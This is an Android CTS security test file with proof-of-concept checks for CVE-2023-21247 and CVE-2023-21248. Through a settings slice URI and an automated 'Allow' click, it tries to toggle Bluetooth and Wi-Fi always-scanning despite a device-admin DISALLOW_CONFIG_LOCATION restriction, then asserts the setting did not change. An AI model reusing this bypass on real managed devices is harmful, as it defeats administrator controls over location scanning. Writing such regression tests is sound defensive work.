1 /*
2  * Copyright (C) 2023 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 package android.security.cts.TestLocationScanningServicesUsingSlices;
18 
19 import static android.os.UserManager.DISALLOW_CONFIG_LOCATION;
20 
21 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
22 
23 import static org.junit.Assert.assertFalse;
24 import static org.junit.Assume.assumeNoException;
25 import static org.junit.Assume.assumeTrue;
26 
27 import android.app.Instrumentation;
28 import android.app.PendingIntent;
29 import android.app.admin.DevicePolicyManager;
30 import android.app.slice.SliceProvider;
31 import android.content.ComponentName;
32 import android.content.ContentResolver;
33 import android.content.Context;
34 import android.content.Intent;
35 import android.content.res.Resources;
36 import android.net.Uri;
37 import android.os.UserManager;
38 import android.provider.Settings;
39 
40 import androidx.test.runner.AndroidJUnit4;
41 import androidx.test.uiautomator.By;
42 import androidx.test.uiautomator.UiDevice;
43 import androidx.test.uiautomator.UiObject2;
44 import androidx.test.uiautomator.Until;
45 
46 import org.junit.Before;
47 import org.junit.Test;
48 import org.junit.runner.RunWith;
49 
50 import java.util.regex.Pattern;
51 
52 @RunWith(AndroidJUnit4.class)
53 public class DeviceTest {
54     private final int waitMS = 5_000;
55     private final String mSettingsPackage = "com.android.settings";
56     private final String mScanningTextResId = mSettingsPackage + ":id/switch_text";
57     private final String mScanningWidgetResId = "android:id/switch_widget";
58     private final String mBaseUri = "content://" + mSettingsPackage + ".slices/action/";
59 
60     private Context mContext;
61     private ContentResolver mContentResolver;
62     private UiDevice mDevice;
63     private Resources mSettingsResources;
64 
65     @Before
setUp()66     public void setUp() {
67         try {
68             Instrumentation instrumentation = getInstrumentation();
69             mContext = instrumentation.getTargetContext();
70             mContentResolver = mContext.getContentResolver();
71             mDevice = UiDevice.getInstance(instrumentation);
72             mSettingsResources =
73                     mContext.getPackageManager().getResourcesForApplication(mSettingsPackage);
74 
75             // Set DISALLOW_CONFIG_LOCATION restriction for the current user
76             mContext.getSystemService(DevicePolicyManager.class)
77                     .addUserRestriction(
78                             new ComponentName(mContext, PocDeviceAdminReceiver.class),
79                             DISALLOW_CONFIG_LOCATION);
80             assumeTrue(
81                     "Failed to set user restriction DISALLOW_CONFIG_LOCATION",
82                     mContext.getSystemService(UserManager.class)
83                             .getUserRestrictions()
84                             .getBoolean(DISALLOW_CONFIG_LOCATION));
85             Object intent =
86                     SliceProvider.createPermissionIntent(
87                             mContext,
88                             Uri.parse(mBaseUri),
89                             "android.security.cts.TestLocationScanningServicesUsingSlices");
90 
91             // For Android SC and SC-V2 createPermissionIntent returns an instance of
92             // PendingIntent
93             if (intent instanceof PendingIntent) {
94                 ((PendingIntent) intent).send();
95             }
96 
97             // For Android T and above createPermissionIntent returns an instance of
98             // Intent
99             if (intent instanceof Intent) {
100                 mContext.startActivity(((Intent) intent).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
101             }
102 
103             // Grant SLICE_PERMISSION by clicking on 'Allow'
104             Pattern allowPattern = Pattern.compile("Allow", Pattern.CASE_INSENSITIVE);
105             assumeTrue(mDevice.wait(Until.hasObject(By.text(allowPattern)), waitMS));
106             UiObject2 allowButton = mDevice.findObject(By.text(allowPattern));
107             allowButton.click();
108         } catch (Exception e) {
109             assumeNoException(e);
110         }
111     }
112 
113     @Test
testPocCVE_2023_21247()114     public void testPocCVE_2023_21247() {
115         try {
116             final int initialBleScanGlobalSetting =
117                     Settings.Global.getInt(
118                             mContentResolver, Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, -1);
119             assumeTrue(initialBleScanGlobalSetting != -1);
120 
121             // Launching PocActivity to launch "bluetooth_always_scanning_switch" settings
122             // slice using slice-uri
123             mContext.startActivity(
124                     new Intent(mContext, PocActivity.class)
125                             .setData(Uri.parse(mBaseUri + "bluetooth_always_scanning_switch"))
126                             .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
127 
128             // Wait for the slice that contains option to toggle "Bluetooth scanning"
129             String btScanningText =
130                     mSettingsResources.getString(
131                             mSettingsResources.getIdentifier(
132                                     "location_scanning_bluetooth_always_scanning_title",
133                                     "string",
134                                     mSettingsPackage));
135             boolean btScanningFound =
136                     mDevice.wait(
137                             Until.hasObject(By.text(btScanningText).res(mScanningTextResId)),
138                             waitMS);
139             assumeTrue(
140                     "Timed out waiting on the text \'" + btScanningText + "\' to appear",
141                     btScanningFound);
142 
143             // Try to toggle "Bluetooth scanning" button, it is supposed to be disabled by the
144             // Device Admin in presence of fix
145             UiObject2 btScanningToggle = mDevice.findObject(By.res(mScanningWidgetResId));
146             btScanningToggle.click();
147 
148             // Value of isChecked is whether "Bluetooth scanning" button should be checked or
149             // unchecked after click()
150             assumeTrue(
151                     "Timed out waiting on the button \'" + btScanningToggle + "\' to toggle",
152                     btScanningToggle.wait(
153                                     Until.checked(initialBleScanGlobalSetting == 0 /* isChecked */),
154                                     waitMS)
155                             || !btScanningToggle.isEnabled());
156 
157             final int finalBleScanGlobalSetting =
158                     Settings.Global.getInt(
159                             mContentResolver, Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, -1);
160             assumeTrue(finalBleScanGlobalSetting != -1);
161 
162             assertFalse(
163                     "Device is vulnerable to b/277333781 !!",
164                     finalBleScanGlobalSetting != initialBleScanGlobalSetting);
165         } catch (Exception e) {
166             assumeNoException(e);
167         }
168     }
169 
170     @Test
testPocCVE_2023_21248()171     public void testPocCVE_2023_21248() {
172         try {
173             final int initialWifiScanGlobalSetting =
174                     Settings.Global.getInt(
175                             mContentResolver, Settings.Global.WIFI_SCAN_ALWAYS_AVAILABLE, -1);
176             assumeTrue(initialWifiScanGlobalSetting != -1);
177 
178             // Launching PocActivity to launch "wifi_always_scanning_switch" settings
179             // slice using slice-uri
180             mContext.startActivity(
181                     new Intent(mContext, PocActivity.class)
182                             .setData(Uri.parse(mBaseUri + "wifi_always_scanning_switch"))
183                             .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
184 
185             // Wait for the slice that contains option to toggle "Wifi scanning"
186             String wifiScanningText =
187                     mSettingsResources.getString(
188                             mSettingsResources.getIdentifier(
189                                     "location_scanning_wifi_always_scanning_title",
190                                     "string",
191                                     mSettingsPackage));
192             boolean wifiScanningFound =
193                     mDevice.wait(
194                             Until.hasObject(By.text(wifiScanningText).res(mScanningTextResId)),
195                             waitMS);
196             assumeTrue(
197                     "Timed out waiting on the text \'" + wifiScanningText + "\' to appear",
198                     wifiScanningFound);
199 
200             // Try to toggle "Wifi scanning" button, it is supposed to be disabled by the
201             // Device Admin in presence of fix
202             UiObject2 wifiScanningToggle = mDevice.findObject(By.res(mScanningWidgetResId));
203             wifiScanningToggle.click();
204 
205             // Value of isChecked is whether "Wifi scanning" button should be checked or
206             // unchecked after click()
207             assumeTrue(
208                     "Timed out waiting on the button \'" + wifiScanningToggle + "\' to toggle",
209                     wifiScanningToggle.wait(
210                                     Until.checked(
211                                             initialWifiScanGlobalSetting == 0 /* isChecked */),
212                                     waitMS)
213                             || !wifiScanningToggle.isEnabled());
214 
215             final int finalWifiScanGlobalSetting =
216                     Settings.Global.getInt(
217                             mContentResolver, Settings.Global.WIFI_SCAN_ALWAYS_AVAILABLE, -1);
218             assumeTrue(finalWifiScanGlobalSetting != -1);
219 
220             assertFalse(
221                     "Device is vulnerable to b/277333746 !!",
222                     finalWifiScanGlobalSetting != initialWifiScanGlobalSetting);
223         } catch (Exception e) {
224             assumeNoException(e);
225         }
226     }
227 }
228